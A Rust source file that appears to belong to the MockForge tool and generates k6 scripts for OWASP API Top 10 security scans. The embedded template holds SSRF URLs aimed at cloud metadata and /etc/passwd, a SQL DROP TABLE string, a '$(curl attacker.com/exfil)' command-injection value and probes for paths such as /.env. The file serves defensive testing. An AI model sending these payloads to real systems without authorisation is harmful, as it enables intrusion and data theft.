mockforge_bench/owasp_api/
generator.rs

1//! OWASP API Security k6 Script Generator
2//!
3//! This module generates k6 JavaScript code for running OWASP API
4//! security tests against target endpoints.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::spec_parser::SpecParser;
11use handlebars::Handlebars;
12use serde_json::{json, Value};
13use std::collections::HashMap;
14
15/// Generator for OWASP API security test scripts
16pub struct OwaspApiGenerator {
17    /// OWASP API configuration
18    config: OwaspApiConfig,
19    /// Target base URL
20    target_url: String,
21    /// Parsed OpenAPI operations
22    operations: Vec<OperationInfo>,
23}
24
25/// Information about an API operation
26#[derive(Debug, Clone)]
27pub struct OperationInfo {
28    /// HTTP method
29    pub method: String,
30    /// Path template (e.g., /users/{id})
31    pub path: String,
32    /// Operation ID
33    pub operation_id: Option<String>,
34    /// Path parameters
35    pub path_params: Vec<PathParam>,
36    /// Query parameters
37    pub query_params: Vec<QueryParam>,
38    /// Whether operation has request body
39    pub has_body: bool,
40    /// Content type
41    pub content_type: Option<String>,
42    /// Security requirements (if any)
43    pub requires_auth: bool,
44    /// Tags
45    pub tags: Vec<String>,
46}
47
48/// Path parameter info
49#[derive(Debug, Clone)]
50pub struct PathParam {
51    pub name: String,
52    pub param_type: String,
53    pub example: Option<String>,
54}
55
56/// Query parameter info
57#[derive(Debug, Clone)]
58pub struct QueryParam {
59    pub name: String,
60    pub param_type: String,
61    pub required: bool,
62}
63
64impl OwaspApiGenerator {
65    /// Create a new OWASP API generator
66    pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67        let operations = Self::extract_operations(parser);
68        Self {
69            config,
70            target_url,
71            operations,
72        }
73    }
74
75    /// Extract operations from the spec parser
76    fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77        parser
78            .get_operations()
79            .into_iter()
80            .map(|op| {
81                // Extract path parameters from the path
82                let path_params: Vec<PathParam> = op
83                    .path
84                    .split('/')
85                    .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86                    .map(|segment| {
87                        let name = segment.trim_start_matches('{').trim_end_matches('}');
88                        PathParam {
89                            name: name.to_string(),
90                            param_type: "string".to_string(),
91                            example: None,
92                        }
93                    })
94                    .collect();
95
96                OperationInfo {
97                    method: op.method.to_uppercase(),
98                    path: op.path.clone(),
99                    operation_id: op.operation_id.clone(),
100                    path_params,
101                    query_params: Vec::new(),
102                    has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103                    content_type: Some("application/json".to_string()),
104                    requires_auth: true, // Assume auth required by default
105                    tags: op.operation.tags.clone(),
106                }
107            })
108            .collect()
109    }
110
111    /// Generate the complete k6 security test script
112    pub fn generate(&self) -> Result<String> {
113        let mut handlebars = Handlebars::new();
114
115        // Register custom helpers
116        handlebars.register_helper("contains", Box::new(contains_helper));
117        handlebars.register_helper("eq", Box::new(eq_helper));
118
119        let template = self.get_script_template();
120        let data = self.build_template_data()?;
121
122        handlebars
123            .render_template(&template, &data)
124            .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125    }
126
127    /// Build template data for rendering
128    fn build_template_data(&self) -> Result<Value> {
129        let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130        let mut test_cases: Vec<Value> = Vec::new();
131
132        // Generate test cases for each category
133        for category in self.config.categories_to_test() {
134            let category_tests = self.generate_category_tests(category, &payload_generator)?;
135            test_cases.extend(category_tests);
136        }
137
138        // Pre-compute which categories are enabled for simple template conditionals
139        let categories = self.config.categories_to_test();
140        let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141        let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142        let test_api3 =
143            categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144        let test_api4 =
145            categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146        let test_api5 =
147            categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148        let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149        let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150        let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151        let test_api9 =
152            categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153        let test_api10 =
154            categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156        // Pre-compute operations with path parameters for BOLA testing
157        let ops_with_path_params: Vec<Value> = self
158            .operations
159            .iter()
160            .filter(|op| op.path.contains('{'))
161            .map(|op| {
162                json!({
163                    "method": op.method.to_lowercase(),
164                    "path": op.path,
165                })
166            })
167            .collect();
168
169        // Pre-compute GET operations for method override testing
170        let get_operations: Vec<Value> = self
171            .operations
172            .iter()
173            .filter(|op| op.method.to_lowercase() == "get")
174            .map(|op| {
175                json!({
176                    "method": op.method.to_lowercase(),
177                    "path": op.path,
178                })
179            })
180            .collect();
181
182        Ok(json!({
183            "base_url": self.target_url,
184            "auth_header_name": self.config.auth_header,
185            "valid_auth_token": self.config.valid_auth_token,
186            "concurrency": self.config.concurrency,
187            "iterations": self.config.iterations,
188            "timeout_ms": self.config.timeout_ms,
189            "report_path": self.config.report_path.to_string_lossy(),
190            "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
191            "test_cases": test_cases,
192            "operations": self.operations.iter().map(|op| json!({
193                "method": op.method.to_lowercase(),
194                "path": op.path,
195                "operation_id": op.operation_id,
196                "has_body": op.has_body,
197                "requires_auth": op.requires_auth,
198                "has_path_params": op.path.contains('{'),
199            })).collect::<Vec<_>>(),
200            "ops_with_path_params": ops_with_path_params,
201            "get_operations": get_operations,
202            "verbose": self.config.verbose,
203            "insecure": self.config.insecure,
204            // Category flags for simple conditionals
205            "test_api1": test_api1,
206            "test_api2": test_api2,
207            "test_api3": test_api3,
208            "test_api4": test_api4,
209            "test_api5": test_api5,
210            "test_api6": test_api6,
211            "test_api7": test_api7,
212            "test_api8": test_api8,
213            "test_api9": test_api9,
214            "test_api10": test_api10,
215        }))
216    }
217
218    /// Generate test cases for a specific category
219    fn generate_category_tests(
220        &self,
221        category: OwaspCategory,
222        payload_generator: &OwaspPayloadGenerator,
223    ) -> Result<Vec<Value>> {
224        let payloads = payload_generator.generate_for_category(category);
225        let mut tests = Vec::new();
226
227        for payload in payloads {
228            // Match payloads to appropriate operations
229            let applicable_ops = self.get_applicable_operations(&payload);
230
231            for op in applicable_ops {
232                tests.push(json!({
233                    "category": category.cli_name(),
234                    "category_name": category.short_name(),
235                    "description": payload.description,
236                    "method": op.method.to_lowercase(),
237                    "path": op.path,
238                    "payload": payload.value,
239                    "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
240                    "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
241                    "notes": payload.notes,
242                }));
243            }
244        }
245
246        Ok(tests)
247    }
248
249    /// Get operations applicable for a payload
250    fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
251        match payload.injection_point {
252            InjectionPoint::PathParam => {
253                // Only operations with path parameters
254                self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
255            }
256            InjectionPoint::Body => {
257                // Only operations that accept a body
258                self.operations.iter().filter(|op| op.has_body).collect()
259            }
260            InjectionPoint::Header | InjectionPoint::Omit => {
261                // All operations that require auth
262                self.operations.iter().filter(|op| op.requires_auth).collect()
263            }
264            InjectionPoint::QueryParam => {
265                // All operations (can add query params to any)
266                self.operations.iter().collect()
267            }
268            InjectionPoint::Modify => {
269                // Depends on payload - return all for now
270                self.operations.iter().collect()
271            }
272        }
273    }
274
275    /// Get the k6 script template
276    fn get_script_template(&self) -> String {
277        r#"// OWASP API Security Top 10 Test Script
278// Generated by MockForge - https://mockforge.dev
279// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
280
281import http from 'k6/http';
282import { check, sleep, group } from 'k6';
283import { Trend, Counter, Rate } from 'k6/metrics';
284
285// Configuration
286const BASE_URL = '{{base_url}}';
287const AUTH_HEADER = '{{auth_header_name}}';
288{{#if valid_auth_token}}
289const VALID_TOKEN = '{{valid_auth_token}}';
290{{else}}
291const VALID_TOKEN = null;
292{{/if}}
293const TIMEOUT = '{{timeout_ms}}ms';
294const VERBOSE = {{verbose}};
295const INSECURE = {{insecure}};
296
297// Custom metrics
298const findingsCounter = new Counter('owasp_findings');
299const testsRun = new Counter('owasp_tests_run');
300const vulnerableRate = new Rate('owasp_vulnerable_rate');
301const responseTime = new Trend('owasp_response_time');
302
303// Test options - use per-VU iterations scenario for controlled test runs
304export const options = {
305    scenarios: {
306        owasp_security_test: {
307            executor: 'per-vu-iterations',
308            vus: {{concurrency}},
309            iterations: {{iterations}},  // Iterations per VU
310            maxDuration: '30m',
311        },
312    },
313    thresholds: {
314        'owasp_findings': ['count<100'], // Alert if too many findings
315    },
316    insecureSkipTLSVerify: INSECURE,
317};
318
319// Findings storage
320const findings = [];
321
322// Helper: Log a finding
323function logFinding(category, endpoint, method, description, evidence) {
324    const finding = {
325        category,
326        endpoint,
327        method,
328        description,
329        evidence,
330        timestamp: new Date().toISOString(),
331    };
332    findings.push(finding);
333    findingsCounter.add(1);
334    vulnerableRate.add(1);
335
336    if (VERBOSE) {
337        console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
338    }
339}
340
341// Helper: Log test passed
342function logPass(category, endpoint, method) {
343    vulnerableRate.add(0);
344    if (VERBOSE) {
345        console.log(`[PASS] ${category} - ${method} ${endpoint}`);
346    }
347}
348
349// Helper: Make authenticated request
350function authRequest(method, url, body, additionalHeaders = {}) {
351    const headers = {
352        'Content-Type': 'application/json',
353        ...additionalHeaders,
354    };
355
356    if (VALID_TOKEN) {
357        headers[AUTH_HEADER] = VALID_TOKEN;
358    }
359
360    const params = {
361        headers,
362        timeout: TIMEOUT,
363    };
364
365    // k6 uses 'del' instead of 'delete'
366    const httpMethod = method === 'delete' ? 'del' : method;
367
368    if (httpMethod === 'get' || httpMethod === 'head') {
369        return http[httpMethod](url, params);
370    } else {
371        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
372    }
373}
374
375// Helper: Make unauthenticated request
376function unauthRequest(method, url, body, additionalHeaders = {}) {
377    const headers = {
378        'Content-Type': 'application/json',
379        ...additionalHeaders,
380    };
381
382    const params = {
383        headers,
384        timeout: TIMEOUT,
385    };
386
387    // k6 uses 'del' instead of 'delete'
388    const httpMethod = method === 'delete' ? 'del' : method;
389
390    if (httpMethod === 'get' || httpMethod === 'head') {
391        return http[httpMethod](url, params);
392    } else {
393        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
394    }
395}
396
397// API1: Broken Object Level Authorization (BOLA)
398function testBola() {
399    group('API1 - BOLA', function() {
400        console.log('[API1] Testing Broken Object Level Authorization...');
401
402        {{#each operations}}
403        {{#if has_path_params}}
404        // Test {{path}}
405        {
406            const originalPath = '{{path}}'.replace(/{[^}]+}/g, '1');
407            const modifiedPath = '{{path}}'.replace(/{[^}]+}/g, '2');
408
409            // Get baseline with ID=1
410            const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
411
412            // Try to access ID=2
413            const response = authRequest('{{method}}', BASE_URL + modifiedPath, null);
414            testsRun.add(1);
415            responseTime.add(response.timings.duration);
416
417            if (response.status >= 200 && response.status < 300) {
418                // Check if we got different data
419                if (response.body !== baseline.body && response.body.length > 0) {
420                    logFinding('api1', '{{path}}', '{{method}}',
421                        'ID manipulation accepted - accessed different user data',
422                        { status: response.status, bodyLength: response.body.length });
423                } else {
424                    logPass('api1', '{{path}}', '{{method}}');
425                }
426            } else {
427                logPass('api1', '{{path}}', '{{method}}');
428            }
429        }
430        {{/if}}
431        {{/each}}
432    });
433}
434
435// API2: Broken Authentication
436function testBrokenAuth() {
437    group('API2 - Broken Authentication', function() {
438        console.log('[API2] Testing Broken Authentication...');
439
440        {{#each operations}}
441        {{#if requires_auth}}
442        // Test {{path}} without auth
443        {
444            const response = unauthRequest('{{method}}', BASE_URL + '{{path}}', null);
445            testsRun.add(1);
446            responseTime.add(response.timings.duration);
447
448            if (response.status >= 200 && response.status < 300) {
449                logFinding('api2', '{{path}}', '{{method}}',
450                    'Endpoint accessible without authentication',
451                    { status: response.status });
452            } else {
453                logPass('api2', '{{path}}', '{{method}}');
454            }
455        }
456
457        // Test {{path}} with empty token
458        {
459            const response = http.{{method}}(BASE_URL + '{{path}}', null, {
460                headers: { [AUTH_HEADER]: 'Bearer ' },
461                timeout: TIMEOUT,
462            });
463            testsRun.add(1);
464
465            if (response.status >= 200 && response.status < 300) {
466                logFinding('api2', '{{path}}', '{{method}}',
467                    'Endpoint accessible with empty Bearer token',
468                    { status: response.status });
469            }
470        }
471        {{/if}}
472        {{/each}}
473    });
474}
475
476// API3: Broken Object Property Level Authorization (Mass Assignment)
477function testMassAssignment() {
478    group('API3 - Mass Assignment', function() {
479        console.log('[API3] Testing Mass Assignment...');
480
481        const massAssignmentPayloads = [
482            { role: 'admin' },
483            { is_admin: true },
484            { isAdmin: true },
485            { permissions: ['admin', 'write', 'delete'] },
486            { verified: true },
487            { email_verified: true },
488            { balance: 999999 },
489        ];
490
491        {{#each operations}}
492        {{#if has_body}}
493        // Test {{path}}
494        {
495            massAssignmentPayloads.forEach(payload => {
496                const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
497                testsRun.add(1);
498                responseTime.add(response.timings.duration);
499
500                if (response.status >= 200 && response.status < 300) {
501                    // Check if unauthorized field appears in response
502                    const responseBody = response.body.toLowerCase();
503                    const payloadKey = Object.keys(payload)[0].toLowerCase();
504
505                    if (responseBody.includes(payloadKey)) {
506                        logFinding('api3', '{{path}}', '{{method}}',
507                            `Mass assignment accepted: ${payloadKey}`,
508                            { status: response.status, payload });
509                    } else {
510                        logPass('api3', '{{path}}', '{{method}}');
511                    }
512                }
513            });
514        }
515        {{/if}}
516        {{/each}}
517    });
518}
519
520// API4: Unrestricted Resource Consumption
521function testResourceConsumption() {
522    group('API4 - Resource Consumption', function() {
523        console.log('[API4] Testing Resource Consumption...');
524
525        {{#each operations}}
526        // Test {{path}} with excessive limit
527        {
528            const url = BASE_URL + '{{path}}' + '?limit=100000&per_page=100000';
529            const response = authRequest('{{method}}', url, null);
530            testsRun.add(1);
531            responseTime.add(response.timings.duration);
532
533            // Check for rate limit headers
534            const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
535                                response.headers['x-ratelimit-limit'] ||
536                                response.headers['RateLimit-Limit'];
537
538            if (response.status === 429) {
539                logPass('api4', '{{path}}', '{{method}}');
540            } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
541                logFinding('api4', '{{path}}', '{{method}}',
542                    'No rate limiting detected',
543                    { status: response.status, hasRateLimitHeader: !!hasRateLimit });
544            } else {
545                logPass('api4', '{{path}}', '{{method}}');
546            }
547        }
548        {{/each}}
549    });
550}
551
552// API5: Broken Function Level Authorization
553function testFunctionAuth() {
554    group('API5 - Function Authorization', function() {
555        console.log('[API5] Testing Function Level Authorization...');
556
557        const adminPaths = [
558            '/admin',
559            '/admin/users',
560            '/admin/settings',
561            '/api/admin',
562            '/internal',
563            '/management',
564        ];
565
566        adminPaths.forEach(path => {
567            const response = authRequest('get', BASE_URL + path, null);
568            testsRun.add(1);
569            responseTime.add(response.timings.duration);
570
571            if (response.status >= 200 && response.status < 300) {
572                logFinding('api5', path, 'GET',
573                    'Admin endpoint accessible',
574                    { status: response.status });
575            } else if (response.status === 403 || response.status === 401) {
576                logPass('api5', path, 'GET');
577            }
578        });
579
580        // Also test changing methods on read-only endpoints
581        {{#each get_operations}}
582        {
583            const response = authRequest('delete', BASE_URL + '{{path}}', null);
584            testsRun.add(1);
585
586            if (response.status >= 200 && response.status < 300) {
587                logFinding('api5', '{{path}}', 'DELETE',
588                    'DELETE method allowed on read-only endpoint',
589                    { status: response.status });
590            }
591        }
592        {{/each}}
593    });
594}
595
596// API7: Server Side Request Forgery (SSRF)
597function testSsrf() {
598    group('API7 - SSRF', function() {
599        console.log('[API7] Testing Server Side Request Forgery...');
600
601        const ssrfPayloads = [
602            'http://localhost/',
603            'http://127.0.0.1/',
604            'http://169.254.169.254/latest/meta-data/',
605            'http://[::1]/',
606            'file:///etc/passwd',
607        ];
608
609        {{#each operations}}
610        {{#if has_body}}
611        // Test {{path}} with SSRF payloads
612        {
613            ssrfPayloads.forEach(payload => {
614                const body = {
615                    url: payload,
616                    webhook_url: payload,
617                    callback: payload,
618                    image_url: payload,
619                };
620
621                const response = authRequest('{{method}}', BASE_URL + '{{path}}', body);
622                testsRun.add(1);
623                responseTime.add(response.timings.duration);
624
625                if (response.status >= 200 && response.status < 300) {
626                    // Check for indicators of internal access
627                    const bodyLower = response.body.toLowerCase();
628                    const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
629
630                    if (internalIndicators.some(ind => bodyLower.includes(ind))) {
631                        logFinding('api7', '{{path}}', '{{method}}',
632                            `SSRF vulnerability - internal data exposed with payload: ${payload}`,
633                            { status: response.status, payload });
634                    }
635                }
636            });
637        }
638        {{/if}}
639        {{/each}}
640    });
641}
642
643// API8: Security Misconfiguration
644function testMisconfiguration() {
645    group('API8 - Security Misconfiguration', function() {
646        console.log('[API8] Testing Security Misconfiguration...');
647
648        {{#each operations}}
649        // Test {{path}} for security headers
650        {
651            const response = authRequest('{{method}}', BASE_URL + '{{path}}', null);
652            testsRun.add(1);
653            responseTime.add(response.timings.duration);
654
655            const missingHeaders = [];
656
657            if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
658                missingHeaders.push('X-Content-Type-Options');
659            }
660            if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
661                missingHeaders.push('X-Frame-Options');
662            }
663            if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
664                missingHeaders.push('Strict-Transport-Security');
665            }
666
667            // Check for overly permissive CORS
668            const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
669            if (acao === '*') {
670                logFinding('api8', '{{path}}', '{{method}}',
671                    'CORS allows all origins (Access-Control-Allow-Origin: *)',
672                    { status: response.status });
673            }
674
675            if (missingHeaders.length > 0) {
676                logFinding('api8', '{{path}}', '{{method}}',
677                    `Missing security headers: ${missingHeaders.join(', ')}`,
678                    { status: response.status, missingHeaders });
679            }
680        }
681        {{/each}}
682
683        // Test for verbose errors
684        {{#each operations}}
685        {{#if has_body}}
686        {
687            const malformedBody = '{"invalid": "json';
688            const response = http.{{method}}(BASE_URL + '{{path}}', malformedBody, {
689                headers: { 'Content-Type': 'application/json' },
690                timeout: TIMEOUT,
691            });
692            testsRun.add(1);
693
694            const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
695            const bodyLower = response.body.toLowerCase();
696
697            if (errorIndicators.some(ind => bodyLower.includes(ind))) {
698                logFinding('api8', '{{path}}', '{{method}}',
699                    'Verbose error messages exposed',
700                    { status: response.status });
701            }
702        }
703        {{/if}}
704        {{/each}}
705    });
706}
707
708// API9: Improper Inventory Management
709function testInventory() {
710    group('API9 - Inventory Management', function() {
711        console.log('[API9] Testing Improper Inventory Management...');
712
713        const discoveryPaths = [
714            '/swagger',
715            '/swagger-ui',
716            '/swagger.json',
717            '/api-docs',
718            '/openapi',
719            '/openapi.json',
720            '/graphql',
721            '/graphiql',
722            '/debug',
723            '/actuator',
724            '/actuator/health',
725            '/actuator/env',
726            '/metrics',
727            '/.env',
728            '/config',
729        ];
730
731        const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
732
733        discoveryPaths.forEach(path => {
734            const response = http.get(BASE_URL + path, { timeout: TIMEOUT });
735            testsRun.add(1);
736            responseTime.add(response.timings.duration);
737
738            if (response.status !== 404) {
739                logFinding('api9', path, 'GET',
740                    `Undocumented endpoint discovered (HTTP ${response.status})`,
741                    { status: response.status });
742            }
743        });
744
745        // Check for old API versions
746        apiVersions.forEach(version => {
747            const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT });
748            testsRun.add(1);
749
750            if (response.status !== 404) {
751                logFinding('api9', '/' + version + '/', 'GET',
752                    `API version endpoint exists (HTTP ${response.status})`,
753                    { status: response.status });
754            }
755        });
756    });
757}
758
759// API10: Unsafe Consumption of APIs
760function testUnsafeConsumption() {
761    group('API10 - Unsafe Consumption', function() {
762        console.log('[API10] Testing Unsafe Consumption...');
763
764        const injectionPayloads = [
765            { external_id: "'; DROP TABLE users;--" },
766            { integration_data: "$(curl attacker.com/exfil)" },
767            { template: "\{{7*7}}" },
768            { webhook_url: "http://127.0.0.1:8080/internal" },
769        ];
770
771        {{#each operations}}
772        {{#if has_body}}
773        // Test {{path}} with injection payloads
774        {
775            injectionPayloads.forEach(payload => {
776                const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
777                testsRun.add(1);
778                responseTime.add(response.timings.duration);
779
780                // Check if payload was processed (e.g., SSTI returning 49)
781                if (response.body.includes('49')) {
782                    logFinding('api10', '{{path}}', '{{method}}',
783                        'Server-side template injection detected',
784                        { status: response.status, payload });
785                }
786            });
787        }
788        {{/if}}
789        {{/each}}
790    });
791}
792
793// Main test function
794export default function() {
795    console.log('Starting OWASP API Top 10 Security Scan...');
796    console.log('Target: ' + BASE_URL);
797    console.log('');
798
799    {{#if test_api1}}
800    testBola();
801    {{/if}}
802    {{#if test_api2}}
803    testBrokenAuth();
804    {{/if}}
805    {{#if test_api3}}
806    testMassAssignment();
807    {{/if}}
808    {{#if test_api4}}
809    testResourceConsumption();
810    {{/if}}
811    {{#if test_api5}}
812    testFunctionAuth();
813    {{/if}}
814    {{#if test_api7}}
815    testSsrf();
816    {{/if}}
817    {{#if test_api8}}
818    testMisconfiguration();
819    {{/if}}
820    {{#if test_api9}}
821    testInventory();
822    {{/if}}
823    {{#if test_api10}}
824    testUnsafeConsumption();
825    {{/if}}
826
827    sleep(0.1);
828}
829
830// Teardown: Output results
831export function teardown(data) {
832    console.log('');
833    console.log('='.repeat(50));
834    console.log('OWASP API Top 10 Scan Complete');
835    console.log('='.repeat(50));
836    console.log('Total findings: ' + findings.length);
837
838    if (findings.length > 0) {
839        console.log('');
840        console.log('Findings by category:');
841        const byCategory = {};
842        findings.forEach(f => {
843            byCategory[f.category] = (byCategory[f.category] || 0) + 1;
844        });
845        Object.entries(byCategory).forEach(([cat, count]) => {
846            console.log('  ' + cat + ': ' + count);
847        });
848    }
849
850    // Write JSON report
851    console.log('');
852    console.log('Report written to: {{report_path}}');
853}
854"#.to_string()
855    }
856}
857
858/// Handlebars helper to check if a string contains a substring
859fn contains_helper(
860    h: &handlebars::Helper,
861    _: &Handlebars,
862    _: &handlebars::Context,
863    _: &mut handlebars::RenderContext,
864    out: &mut dyn handlebars::Output,
865) -> handlebars::HelperResult {
866    let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
867    let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
868    let result = param1.contains(param2);
869    out.write(&result.to_string())?;
870    Ok(())
871}
872
873/// Handlebars helper to check equality
874fn eq_helper(
875    h: &handlebars::Helper,
876    _: &Handlebars,
877    _: &handlebars::Context,
878    _: &mut handlebars::RenderContext,
879    out: &mut dyn handlebars::Output,
880) -> handlebars::HelperResult {
881    let param1 = h.param(0).map(|v| v.value());
882    let param2 = h.param(1).map(|v| v.value());
883    let result = param1 == param2;
884    out.write(&result.to_string())?;
885    Ok(())
886}
887
888#[cfg(test)]
889mod tests {
890    use super::*;
891
892    #[test]
893    fn test_generator_creation() {
894        // This would need a mock SpecParser
895        // For now just test that the template is valid
896        let template = r#"
897        {{#each operations}}
898        // {{method}} {{path}}
899        {{/each}}
900        "#;
901
902        let handlebars = Handlebars::new();
903        let data = json!({
904            "operations": [
905                { "method": "GET", "path": "/users" },
906                { "method": "POST", "path": "/users" },
907            ]
908        });
909
910        let result = handlebars.render_template(template, &data);
911        assert!(result.is_ok());
912    }
913
914    #[test]
915    fn test_script_template_renders() {
916        let config = OwaspApiConfig::default()
917            .with_categories([OwaspCategory::Api1Bola])
918            .with_valid_auth_token("Bearer test123");
919
920        let template = r#"
921const AUTH = '{{auth_header_name}}';
922const TOKEN = '{{valid_auth_token}}';
923{{#each categories_tested}}
924// Testing: {{this}}
925{{/each}}
926        "#;
927
928        let handlebars = Handlebars::new();
929        let data = json!({
930            "auth_header_name": config.auth_header,
931            "valid_auth_token": config.valid_auth_token,
932            "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
933        });
934
935        let result = handlebars.render_template(template, &data).unwrap();
936        assert!(result.contains("Authorization"));
937        assert!(result.contains("Bearer test123"));
938        assert!(result.contains("api1"));
939    }
940}